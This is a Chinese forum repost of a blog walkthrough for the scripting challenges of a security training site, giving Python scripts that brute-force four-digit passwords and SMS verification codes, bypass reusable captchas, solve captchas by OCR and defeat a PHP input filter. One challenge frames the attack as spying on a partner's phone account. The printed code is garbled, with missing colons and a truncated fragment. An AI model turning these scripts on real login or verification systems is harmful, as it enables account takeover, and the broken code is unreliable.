请选择 进入手机版 | 继续访问电脑版

站长论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 274|回复: 0

找key网:学习网站学习安全攻防基础教程

[复制链接]
  • TA的每日心情

    7 小时前
  • 签到天数: 244 天

    [LV.8]以坛为家I

    TA在排名榜Top100

    积分:NO. 27 名

    发帖:NO. 1 名

    在线:NO. 1 名

    1777

    主题

    2255

    帖子

    863万

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    8631566

    推广达人勋章荣誉会员勋章赞助会员勋章精华勋章管理员勋章论坛元老勋章

    发表于 2018-12-13 15:25:32 | 显示全部楼层 |阅读模式

      之前我发布了网络信息安全攻防学习平台基础关过关攻略,今天我们连载网络信息安全攻防学习平台脚本关过关攻略,感兴趣的小伙伴们可以研究一下,本关将提供大量的python代码,需要一定的python基础,关于python的学习视频,可以在本博客搜索相关文章。

      游戏地址:

      http://hackinglab.sinaapp.com/index.php

      脚本关过关攻略

      第1题:key又又找不到了

      小明这次哭了,key又找不到了!!! key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!!

      点击_到这里找key__以后,发现提示,从哪来回哪去,这里我们需要用到burpsuite,对请求数据包进行抓包,在burpsuite里直接可以看到提示。这里主要是使用js进行了跳转,导致我们直接看不到,使用抓包工具可以很容易搞定。


      第2题:快速口算

      小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?

      这里的过关地址,每次get请求得到的数据都是变化的,所以需要我们使用脚本获取到相应的数据,并使用脚本计算,这个就很容易了。

      这里我使用的是python脚本实现的,当然你也可以用php来实现,之前我使用的是httplib,代码很长,很多朋友建议使用一下resuqests库,今天我又重写了这个脚本,发现requests库很好,很强大,以下是代码:

      #!/usr/bin/env python

      # -*- coding: gbk -*-

      # -*- coding: utf-8 -*-

      # Date: 2014/11/25

      # Created by 独自等待

      # 博客 http://www.waitalone.cn/

      import re

      try

      import requests

      except ImportError

      raise SystemExit('\n[!]

      requests模块导入错误,请执行pip install requests安装!')

      print '\n网络信息安全攻防学习平台脚本关第2题\n'

      s = requests.Session()

      url = 'http://1.hacklist.sinaapp.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'

      r = s.get(url)

      res = unicode(r.content, 'utf-8').encode('gbk')

      # print res

      num = re.findall(re.compile(r'\s+(.*?)='), res)[0]

      print '当前获取到需要口算的表达式及计算结果为:\n\n%s=%d\n' % (num, eval(num))

      r = s.post(url, data={'v': eval(num)})

      print re.findall(re.compile(r'<body>(.*?)</body>'), r.content)[0]


      第3题:这个题目是空的

      Tips:这个题目真不是随便设置的。

      什么才是空的呢?

      通关地址:没有,请直接提交答案(小写即可)

      这个题,我忘了我当时是使用的哪个字符过的了,现在又无法重新过关,所以我把我当时可能使用到的字符提供给大家,大家去测试一下就行了,或者有知道的小伙伴留言提示一下。。

      用来表示空白的字符串可能为:%00,%0a,%0d,%0a%0d,%0b,%0c,%a0,null,none等,大家都试一下吧。

      据楼下小伙伴留言,答案应该是 null

      第4题:逗比验证码第一期

      逗比的验证码,有没有难道不一样吗?

      这一关的验证码没有设置成post提交一次就失效,所以在获取得到了验证码以后,可以直接多次提交,用python脚本来实现,代码如下:

      #!/usr/bin/env python

      # -*- coding: gbk -*-

      # -*- coding: utf-8 -*-

      # Date: 2014/11/26

      # Created by 独自等待

      # 博客 http://www.waitalone.cn/

      try

      import requests

      except ImportError

      raise SystemExit('\n[!]

      requests模块导入错误,请执行pip install requests安装!')

      try

      print '\n网络信息安全攻防学习平台脚本关第4题\n'

      s = requests.Session()

      url = 'http://1.hacklist.sinaapp.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'

      for pwd in xrange(1000, 10000)

      payload = {'username': 'admin', 'pwd': pwd, 'vcode': 'gkcj'}

      header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}

      r = s.post(url, data=payload, headers=header)

      if 'error' not in r.content

      print '\n爷,正确密码为:', pwd

      print '\n' + r.content

      break

      else

      print '正在尝试密码:', pwd

      except KeyboardInterrupt

      raise SystemExit('大爷,按您的吩咐,已成功退出!')


      第5题:怎么就是不弹出key呢?

      提交说明:提交前14个字符即可过关

      这一关主要考的是js的驾驭能力,查看源代码发现变量a其实是一个匿名函数,而且js里面也禁用了一些常用的弹出对话框的函数,由于js是基于客户端浏览器的,所以我们把代码复制下来,美化后改成如下格式运行即可得到key

      <script>

      var a = function () {

      var b = function (p, a, c, k, e, r) {

      e = function (c) {

      return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29)  : c.toString(36))

      };

      if (!''.replace(/^/, String)) {

      while (c--) r[e(c)]

      = k[c]

      || e(c);

      k = [

      function (e) {

      return r[e]

      }

      ];

      e = function () {

      return '\\w+'

      };

      c = 1

      };

      while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);

      return p

      }('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]||e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]||e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]||e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]||c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'|u|i|b|c|d|v|x|y|j\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'|\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'|||||||||||||||A||B||M||D|C|E|F||I||J|G|N|O||P|Q|K\\\\\\\'.K(\\\\\\\'|\\\\\\\'),0,{}))\\\',X,X,\\\'||||||||||||||||||||||||||||||||||||S|R|V|W|U|T|Y|13|Z|11|14|12|10|19|1a|1b|1c\\\'.14(\\\'|\\\'),0,{}))\',1t,1u,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||1e|1d|1f|1g|1h|1i|1v|1s|1l||1m|1n|1o|1r|1k|1j|1q|1p|1w|1x|1y|1z\'.1r(\'|\'),0,{}))', 62, 98, '|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||return|function|String|if|replace|while|fromCharCode|29|new|RegExp|toString|36|parseInt|35|split|eval|62|75|53|var|slakfj|teslkjsdflk|for'.split('|'), 0, {

      });

      var d = eval(b);

      alert('key is first 14 chars' + '\n'+d.substr(0,14));

      }()

      </script>



      第6题:逗比验证码第二期

      验证便失效的验证码,程序猿:“该死的黑客,我让你绕!我验证一次就让你的验证码失效,看你怎么绕!”

      这一关的验证码,验证一次以后就失效了,但是再次提交的时候就不需要再考虑验证码是否正确的问题了,所以在脚本中只要保证验证码为”的就可以,代码如下:

      #!/usr/bin/env python

      # -*- coding: gbk -*-

      # -*- coding: utf-8 -*-

      # Date: 2014/11/26

      # Created by 独自等待

      # 博客 http://www.waitalone.cn/

      try

      import requests

      except ImportError

      raise SystemExit('\n[!]

      requests模块导入错误,请执行pip install requests安装!')

      try

      print '\n网络信息安全攻防学习平台脚本关第6题\n'

      s = requests.Session()

      url = 'http://1.hacklist.sinaapp.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'

      for pwd in xrange(1000, 10000)

      payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}

      header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}

      r = s.post(url, data=payload, headers=header)

      if 'error' not in r.content

      print '\n爷,正确密码为:', pwd

      print '\n' + r.content

      break

      else

      print '正在尝试密码:', pwd

      except KeyboardInterrupt

      raise SystemExit('大爷,按您的吩咐,已成功退出!')


      第7题:逗比的验证码第三期(SESSION)

      Tips:密码是4位数字,首位不是0 Tips2: SESSION

      这一关,不知道为什么我用类似第6题的代码一样可以直接过,tips2 session的问题我怎么感觉没有用呢???

      #!/usr/bin/env python

      # -*- coding: gbk -*-

      # -*- coding: utf-8 -*-

      # Date: 2014/11/26

      # Created by 独自等待

      # 博客 http://www.waitalone.cn/

      try

      import requests

      except ImportError

      raise SystemExit('\n[!]

      requests模块导入错误,请执行pip install requests安装!')

      try

      print '\n网络信息安全攻防学习平台脚本关第7题\n'

      s = requests.Session()

      url = 'http://1.hacklist.sinaapp.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'

      for pwd in xrange(1000, 10000)

      payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}

      header = {'Cookie': 'saeut=125.122.24.125.1416063016314663; PHPSESSID=2477842dec43ca1394e3c47867223295'}

      r = s.post(url, data=payload, headers=header)

      if 'error' not in r.content

      print '\n爷,正确密码为:', pwd

      print '\n' + r.content

      break

      else

      print '正在尝试密码:', pwd

      except KeyboardInterrupt

      raise SystemExit('大爷,按您的吩咐,已成功退出!')


      第8题:微笑一下就能过关了

      首先你要得到这一关的源代码,index.php?view-source这样访问即可得到 index.php 文件的源代码,代码如下:

      <?php  

      header("Content-type: text/html; charset=utf-8");

      if (isset($_GET['view-source'])) {

      show_source(__FILE__);

      exit();

      }

      include('flag.php');

      $smile = 1;  

      if (!isset ($_GET['^_^'])) $smile = 0;  

      if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  

      if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  

      if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  

      if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  

      if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  

      if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  

      if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  

      if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;

      if ($smile) {

      if (@file_exists ($_GET['^_^'])) $smile = 0;  

      }  

      if ($smile) {

      $smile = @file_get_contents ($_GET['^_^']);  

      if ($smile === "(●'◡'●)") die($flag);  

      }  

      ?>

      这一关郁闷了我好久,最后还是看了网上的说明才过去的,思路转载如下:

      http://blog.watch0ut.com/isg-2014-writeup-smile-chopper-cryptobaby-gif/


      既然有了思路,那么用python实现起来就容易了,代码如下:

      #!/usr/bin/env python

      # -*- coding: gbk -*-

      # -*- coding: utf-8 -*-

      # Date: 2014/11/26

      # Created by 独自等待

      # 博客 http://www.waitalone.cn/

      import urllib

      try

      import requests

      except ImportError

      raise SystemExit('\n[!]

      requests模块导入错误,请执行pip install requests安装!')

      try

      print '\n网络信息安全攻防学习平台脚本关第8题\n'

      s = requests.Session()

      url = 'http://1.hacklist.sinaapp.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=php://input'

      header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}

      r = s.post(url, data=urllib.unquote("%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29"), headers=header)

      print r.content

      except KeyboardInterrupt

      raise SystemExit('大爷,按您的吩咐,已成功退出!')


      第9题:验证码识别

      Tips:验证码依然是3位数

      这一关要考的是验证码识别,需要有一定的编程功底才行的,我分别用python及php实现了识别,代码分享如下:(关于php版的由于本文太长了,所以我会另外写一篇关于验证码识别的文章,当然是基础的。)

      在运行脚本之前,请先获取一下手机验证码,这是前提。

      #!/usr/bin/env python

      # -*- coding: gbk -*-

      # -*- coding: utf-8 -*-

      # Date: 2014/11/27

      # Created by 独自等待

      # 博客


      ', 'wb') as pic

      pic.write(r.content)

      im = pytesseract.image_to_string(Image.open('vcode.png'))

      im = im.replace(' ', '')

      if im != ''

      return im

      else

      return vcode()

      try

      print '\n网络信息安全攻防学习平台脚本关第9题\n'

      for pwd in xrange(100, 999)

      code = vcode()

      url = 'http://1.hacklist.sinaapp.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php'

      payload = {'username': 13388886666, 'mobi_code': pwd, 'user_code': code}

      r = requests.post(url, data=payload, headers=header, timeout=10)

      response = unicode(r.content, 'utf-8').encode('gbk')

      if 'error' not in response

      print '正确的验证码为:', pwd, response

      break

      else

      print '正在尝试手机验证码:', pwd, code

      except KeyboardInterrupt

      raise SystemExit('爷,按您的吩咐,已成功退出!')

      其中验证码识别部分需要安装一些依赖库及程序,脚本中有提示,请使用脚本之前进行安装。


      第10题:逗比的手机验证码

      你的手机号码是13388886666,验证码将会以弹窗的形式给出。这一关相对来说比较简单,只是注意一下细节方面的问题即可。

      在点击获取手机验证码后,验证码会直接提示,提交这个验证码会提示:“please login as 13388886667”,那么,我们在得到验证码以后,把手机号的最后一位改为7即可秒过这关了。。

      第一次过关的时候,我使用的python脚本获取验证码,然后再用脚本提交,再次测试发现,原来直接手工更简单,没有必要折腾代码了。

      第11题:基情燃烧的岁月

      Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟! 闺蜜手机号码:13388886666

      点击获取手机验证码以后,弹出“手机验证码是:验证码发到手机上了,你看不到..是3位纯数字,开头不为0”,这样的话就只能使用脚本来实现了,代码如下:

      #!/usr/bin/env python

      # -*- coding: gbk -*-

      # -*- coding: utf-8 -*-

      # Date: 2014/11/27

      # Created by 独自等待

      # 博客 http://www.waitalone.cn/

      try

      import requests

      except ImportError

      raise SystemExit('\n[!]

      requests模块导入错误,请执行pip install requests安装!')

      header = {'Cookie': 'saeut=218.108.135.246.1416190347811282; PHPSESSID=5f3d9f5685452d1474f59371067e36af'}

      try

      print '\n网络信息安全攻防学习平台脚本关第11题\n'

      for pwd in xrange(100, 999)

      url = 'http://1.hacklist.sinaapp.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php'

      payload = {'username': 13388886666, 'vcode': pwd}

      r = requests.post(url, data=payload, headers=header, timeout=10)

      response = unicode(r.content, 'utf-8').encode('gbk')

      if 'error' not in response

      print '正确的验证码为:', pwd, response

      break

      else

      print '正在尝试手机验证码:', pwd

      except KeyboardInterrupt

      raise SystemExit('爷,按您的吩咐,已成功退出!')

      结果弹出来了如下提示:


      前任的手机号码是:13399999999

      然后把Phone:改为13399999999,获取一下手机验证码,然后再把脚本里面的手机号改成这个13399999999再破解一次即可得到key。。


      好了,脚本关完成,写了我几天的时间,所有的python代码基本上完全改写了,使用requests库来完成,之前的是使用httplic+urllib,请继续关注注入关及其它关。。。


      看看时间,居然0:23分还在为大家分享文章,所以请大家支持一下小弟吧。。。^_^^_^^_^

      2015-04-16 修正第5关错误,感觉网友netpoplk的提醒。。。


      常关注小弟博客的兄弟们会有福利哦,稍候发放。

    站长论坛(www.664b.com)为个人站长与企业网络提供全面的站长资讯、最新最全的源代码程序下载、海量建站素材、强大的搜索优化辅助工具、网络产品设计与运营理念以及一站式网络解决方案,十年来我们一直致力为中文网站提供动力。
    回复 天涯海角搜一下: 百度 谷歌 360 搜狗 搜搜 有道 谷粉 雅虎 必应 即刻

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关于我们|联系我们|问题反馈|sitemap地图|站长论坛

    网站备案:辽ICP备19014872号-1

    Powered by SEO X3.4

    © 2001-2018 www.664b.com

    快速回复 返回顶部 返回列表